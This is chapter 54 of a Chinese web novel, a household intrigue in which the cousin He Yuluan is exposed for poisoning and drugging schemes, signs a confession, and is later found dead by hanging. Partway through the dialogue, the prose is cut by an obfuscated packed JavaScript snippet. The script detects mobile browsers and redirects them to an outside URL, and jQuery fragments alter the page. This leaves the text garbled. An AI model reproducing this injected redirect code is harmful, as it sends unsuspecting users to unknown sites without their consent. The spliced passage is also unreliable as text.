54. 昭雪沉冤
作品:《段姑娘每天打两份工》 她嘴唇勾起,诡魅如罗刹妖女,但下一瞬,何玉鸾瞳孔骤然放大,双手试图去抓楼栏,指甲擦过,身子慢慢往下滑去。
“不,这不可能!”
只见李红英被一股不知名的力量重抛上楼,稳稳当当落在她身后。
何玉鸾转身,目光警惕,“你…你会武功!”
竟大意至此。
身上是彻骨的寒冷,再杀她可就难了。
她拔下发簪,悄悄捏在手心,可万万没想到李红英背后居然走出一个胖胖的小丫鬟。
李红英拱手道谢:“适才多谢姑娘相救,你是…你是漪兰阁的丫头?”
小杏揉着手腕,乖巧地点头。
“没想到李姑娘记得我呀。”
“有印象的,你常跟那位未来小二嫂呆在一块儿的,你们都…稍显丰腴。”
小杏:“……”
何玉鸾见势不妙,扶栏起身,提起衣裙噔噔噔步下楼梯,不料一枚飞石突然击中她膝弯,她身子登时朝前扑出,滚下楼,摔得满脸是血。
承恩堂。
堂上坐正位之人乃是郑鹤秋及其夫人吴蕙芳,下首圈椅里则坐着孙姨娘孙若兰,几位子侄辈如郑砚龙、李红英站在底下,丫鬟婆子们伺候在旁。
昏暝暮色随风吹入屋内,珠帘沉沉摇动,堂前人影黑压压的一片。
何玉鸾跪在地下,身体因为疼痛而悲泣不止。
孙姨娘打心里疼着,一双杏眼哀婉可怜,柔柔地将目光抛到老爷身上。
“老爷……”
这一次,郑鹤秋出声打断,他可以娇纵妾室,任凭她作践下人,但要是伤害到他的子女,尤其是儿子,那绝对不可轻饶。
“你不要插嘴,先听她怎么说。”
何玉鸾抬头觑了眼姨夫凝重的脸色,收起捂着额头的帕子,露出那道可怕的伤疤,希求一点怜悯。
“姨夫,侄女是被人陷害的。”
郑鹤秋并不吃这一套。
“人证物证俱在,你还狡辩,是不是非得逼我用家法!”
“姨夫,您明察秋毫,我跟四表弟无冤无仇,侄女没有道理要害他啊!”
“但你跟段青萍有恩怨,你想害的人是她。为置她于死地,你先是下毒,后来又雇凶杀人,不想她命大,屡次躲过你的迫害,你心有不甘,于是决定在元夕夜宴动手,想让她失身于四表弟,这样,二表哥就没法娶她过门,你便能称心如意,不是吗?”
“我……”
李红英继续道:“可惜的是,这次又被段青萍逃过一劫,但是四表弟药效发作,你们没办法,只能骗一个丫头进去让四弟……”说到这里,她脸上飞红,不便再继续往下细说,只好止住话头。
“不是的,我的计划不是这样的,我原本是雇了个乞丐来办事,谁知道他会变成四弟啊!真的,我说的都是真的,不信你们去查,那个乞丐他经常在西大街出没,他的名字叫……”
珍珠忙接话道:“叫刘二麻子。”
“对,就是他。”
“够了表妹!”郑砚龙打断她的话,眼底压抑着怒火,亦流露出痛惜之色,“自珍珠供出乞丐的名字后,我们就去查过,根本没你说的这个人。你不要再狡辩了,事实摆在眼前,何玉鸾,你认罪吧。”
他万万没想到,那个天真烂漫的表妹,竟是蛇蝎般毒辣的女子。
何玉鸾惨白着脸,唇咬得失去血色,她心里头恨,最恨却是表哥,待她薄情至此。
她暗咬银牙,铮铮有声:“我是不想叫段青萍好过,但四表弟的事情与我无关,就是杀了我,我也不会认。”
恶人,亦有骨气,她情真恨切,纵是所为令人不齿,皆是贪嗔痴恨,由爱生妒恨,事已至此,她满盘皆输,亦认下这结局。
郑鹤秋耐心全然耗尽,遂叫梁安把认罪书呈上来叫何玉鸾画押签字。
“我不画,我不签,我没罪!”
“玉鸾,你画押签字,”孙姨娘见事情已成定局,早改变策略,“只要你乖乖的,别让你姨夫为难,姨娘保你无事。”
看着眼神慈爱的姨妈,何玉鸾思索着,至少姨妈会护她爱她,亦如她那个逝去多年的母亲。
“好,我签。”
入了夜,婆子将灯点上,廊下却有一行人带着东西,往下房送,无非是些首饰簪环、饼馓茶果,陈雪游倚着门看他们出出进。
殿后的两个小厮,各抱着一盆碧玉莲进屋,“萍姑娘,这两盆兰花搁在哪儿?”
是郑砚龙送来的。
经此一事,他才知她受了这多少委屈,可青萍未曾在她跟前提过半个字,说过一句表妹的不好。
相形之下,表妹愈发可厌,青萍愈发可喜。
她送来这两盆碧玉莲,是知道她喜欢兰草,希望她看着开心。
陈雪游其实对花草没甚兴趣,不过盛情难却,因笑道:“搁在外头廊檐下吧,免得我们屋子里的腌臜气熏坏了它们。”
“姑娘这话说的,您屋子里那都是香的,哪里有什么腌臜气。”
陈雪游只是淡淡一笑,忽而听见门外有女子赞叹之声:“其色澄翠如碧玉,其瓣舒卷若莲花,这两株兰花当真不错。”
说话的人正是李红英,她身后跟着个丫头,手里抱着个黑漆大盒子,也不知装着什么。
今天的漪兰阁可真是热闹。
“原来是李姑娘,若是喜欢这两株兰花,不妨拿回去,反正我这等俗物也不懂欣赏。”
李红英眉梢微挑,看她的眼神有些奇怪:“我听二表哥说,段姑娘不是最喜兰草的么?从前在段府的时候栽种过不少,怎么能说不懂欣赏呢,真是太谦虚了。”
段玉鸿才喜欢兰草,可她不过是魂穿后的段青萍,没懂什么文人风雅,只一味爱钱如命。
陈雪游虽有些尴尬,但马上转移话题:“对了,李姑娘怎么有空到我这地儿来了?”
“我是特意来跟小杏道谢的。”说罢,李红英便叫丫鬟彩霞拿礼物过来。
揭开盒盖,是一盒子万寿糕、果馅饼、蜜饯、梅子。
陈雪游蓦地就想起李红英说自己胖的事情,不禁有些不快。
“她不住这屋,李姑娘找错地方了。”
“不要紧,”李红英道:“正巧我也有事情要问段姑娘。”
她示意彩霞放下礼物,把门带好出去把风。
陈雪游眉梢微挑,“哦,什么事呀?”
“小杏居然会武功,你不觉得奇怪吗?”
就知道她要问这个,不过她也早有应对之策,“这丫头招进来时,据说从前是学杂耍的,会点三脚猫功夫也不奇怪啊。”
李红英还在思索,她勾唇轻笑道:“李姑娘就是这么对待自己的救命恩人的啊。她若心怀不轨,又怎会救你性命?”
李红英面有赧色,于是跳过这个问题。
“那我想知道,那晚你中了药逃走,之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928603|188618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你去了哪里,又是怎么解毒的?”这些话当初当着太多人的面实在不好问出口,且与本案关系不大,只是她有些好奇,毕竟这跟二表哥的终身大事有关。
“李姑娘是担心我的清白,你放心,我的身子可是干净的,绝对不会让二爷当什么活王八,戴绿帽子。”陈雪游遂将袖子挽起,雪白的胳膊上露出一点守宫砂。
起先原主身上也是有守宫砂的,只是那晚与周元澈行事弄没了。
之后她又重新点了一颗。
虽是她自己点上去的,也足够以假乱真。更何况这东西本就没什么科学依据,可是相当好糊弄。
“当晚,中了媚药,为解身上热毒,我潜入冰水泡了近半个时辰,如今还落下病根,终日怕冷,这事你不妨去问问院里的人,她们都知道。”
李红英看见她守宫砂仍在,知道她尚是处子之身,再没话可说。
“是我多心,希望段姑娘你别见怪。”
“这不怪你,其实你问了才好,也替我跟老爷太太回明,免得到时候府里上下风言风语。最怕就是你表哥信了那些话,心里不痛快。你知道的,你表哥心肠好,自然不会跟我计较,但我就怕他非要跟自己过不去。”
李红英笑叹道:“表嫂心胸开阔,识得大体,是表哥的福气。”
陈雪游亦是莞尔一笑。
两人说了几句闲话,李红英告辞离去,
到梵音堂来回禀太太时,太太仍在佛龛前礼佛,祈求佛祖保佑郑家家宅平安。
“姨妈。”
“红英来了。”太太起身,关妈妈过来搀扶,被她推开,“我还没老到起不了身的时候,快去给姑娘沏茶。”
关妈妈随后亲自沏上茶水,摆了李红英最爱吃的玫瑰白糖糕。
“到底还是我们姑娘会办事,今儿这事办的,叫老爷都不住的夸,说只可惜不是咱家的人,不然姑娘管家,怕是还没这些腌臜事。”
李红英腼腆一笑,“关妈妈既这么说,看来我得重新托生到姨妈肚子里才好。”
大太太笑道:“英儿,这次的事多亏你机灵,否则你四表弟就要蒙受莫大的冤屈了。唉,也都怪我,当初若是见劝那孩子不听,及早告知孙姨娘,也就不会有今天的事了。”
关妈妈安慰道:“这也不怪太太,孙姨娘那般小心眼,怎么肯信太太的话,只怕还误会咱们无事生非,玷污何姑娘的名声呢。”
太太满面愧色,只是叹息。
“对了,珍珠那丫头应当如何处置?我想那丫头终究是被主子胁迫,不敢不听令,何况她主动把事情交代清楚,洗清池哥儿的嫌疑。上天有好生之德,再说咱们家最近一直不太平,也实在不该再造杀孽了。”
李红英道:“姨夫的意思是,把这丫头赶到庄子上去,府里头肯定没法再待下去,就算姨夫容得下她,孙姨娘也未必容得下她。”
正说着,外头有丫鬟神色匆匆跑进来,“不好了,太太!”
关妈妈怒道:“咋咋呼呼的,没见有客人在这里么!”
太太慈祥宽和,温声细语道:“不着急,有什么事你慢慢说来。”
那丫鬟急道:“太太,何姑娘她、她上吊自尽了!”
三人俱是大惊失色。
关妈妈不禁叹气道:“真想不到这孙姨娘如此狠毒,竟然为了自己的名声,连自己的侄女都不放过。”
太太横了她一眼,“关妈妈,这种话可不许乱说。”

